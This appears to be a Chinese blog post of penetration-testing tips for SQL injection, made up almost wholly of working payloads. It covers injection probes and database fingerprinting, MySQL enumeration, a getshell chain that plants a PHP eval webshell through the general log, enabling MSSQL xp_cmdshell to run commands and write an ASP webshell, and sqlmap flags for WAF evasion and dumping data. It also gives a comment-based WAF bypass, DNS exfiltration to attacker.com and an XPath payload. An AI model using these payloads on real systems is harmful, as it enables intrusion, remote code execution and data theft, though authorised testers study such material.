渗透测试Tips-SQL注入

判断是否有注入

11'+//AND+//(//SELECT//+2868+//FROM//+(//SELECT//(SLEEP(2)))pcFy)+//AND//+'

%0dunion%0aselect%0auser

初步判断数据库类型

'and user>0

如果有报错为:在将nvarchar值’dbo’转换成数据类型int时失败,则数据库为sqlserver数据库,不是mysql

判断数据库系统

'and (select count(*) from sysobjects)>0 正常则是Mysql

'and (select count(*) from msysobjects)>0 正常则是SqlServer

    • ; Oracle中不支持多行查询,返回错误,很可能是Oracle数据库

    • # 是MySQL中的注释符,返回错误说明该注入点可能不是MySQL

    • //**是Oracle,SQL server和MSSQL支持的注释符,如果正常,说明可能就是这仨了

Mysql数据库

常用sql语句和函数

查库

select group_concat(shcema_name) from information_schema.schemata

查表

select group_concat(table_name) from information_schema.tables where table_schema=库名

查列

select group_concat(column_name) from information_schema.columns where table_name='表明'

查值

select group_concat(列名1,';',列名2) from (select * from 库名.表名 limit 0,10) as a

GetShell

查看数据库路径

show variables like '%datadir%' 通过显示数据库所在的路径来猜测web路径

查看是否开启日志

show variables like '%general%'

开启日志

set global general_log = "ON";

设置日志路径

set global general_log_file ='<网站根目录>/config.php';

写入webshell

select "<?php @eval($_POST[abc]);?>";

连接getshell

https://<web路径>/config.php

Sql Server数据库

判断是否为sa权限

;if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--

查看是否开启了xp_cmdshell

;if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'--

开启xp_cmdshell(SA权限用户)

;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

执行cmd命令

;EXEC master..xp_cmdshell 'cmd命令';--

查看是否开启成功(是否出网)

;EXEC%20master..xp_cmdshell 'ping aa.dnslog';--

写入webshell

;EXEC%20master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:/inetpub/xxxxxx/a.asp';--

sqlmap语法

demo:sqlmap -r 1.txt --random-agent --tamper=space2comment --level 4 --risk 3 --technique=T --dbms=mysql -p uname --dbs

    • –random-agent:header头中的agent随机伪造,默认agent是有特征的会被waf拦截

    • –technique:指定探测技术,B 布尔盲注;T 时间盲注;E 报错注入;U 联合查询

    • –batch:自动选择过程中的询问请求

    • –tamper=space2comment:使用脚本绕过waf或过滤,默认脚本放在tamper目录下

    • –level:测试深度,等级1-5。使用5级会使用更多的payload

    • –risk:语句复杂度,等级越高越复杂,一般用3

    • –force-ssl:使用https服务,需要改端口后面加端口

    • –dbms:指定数据库类型

    • –cookie:指定cookie值

    • –is-dba:检测数据库权限。如果DBA是True可以尝试直接拿shell

    • -p:指定测试参数

    • -D:指定数据库名

    • -T:指定表名

    • -C:指定字段名

    • –dbs:获取所有数据库名

    • –userss:获取用户名

    • –tables:获取所有表名

    • –colums:获取字段名

    • –dump:下载当前数据库的所有数据

    • –file-read:读取文件

    • –purge :清理缓存

利用SQL注释与空白符绕过基于正则的SQL注入规则

SELECT/*!88888cas*/t(1)FROM/**/users WHERE 1=1 UNION%a0SELECT version()

原理:利用SQL注释与空白符干扰词法分析 突破点:绕过基于正则的SQL注入规则 防御:启用SQL语义分析引擎

OOB外带数据通道

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT @@version),'.attacker.com\\test'))

检测突破:基于时间的盲注检测失效 防御:限制出站DNS请求

XPath盲注载荷生成

' or count(/*)=1 or 'a'='b

原理:通过节点数量判断结构信息 检测方案:XPath查询参数化

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容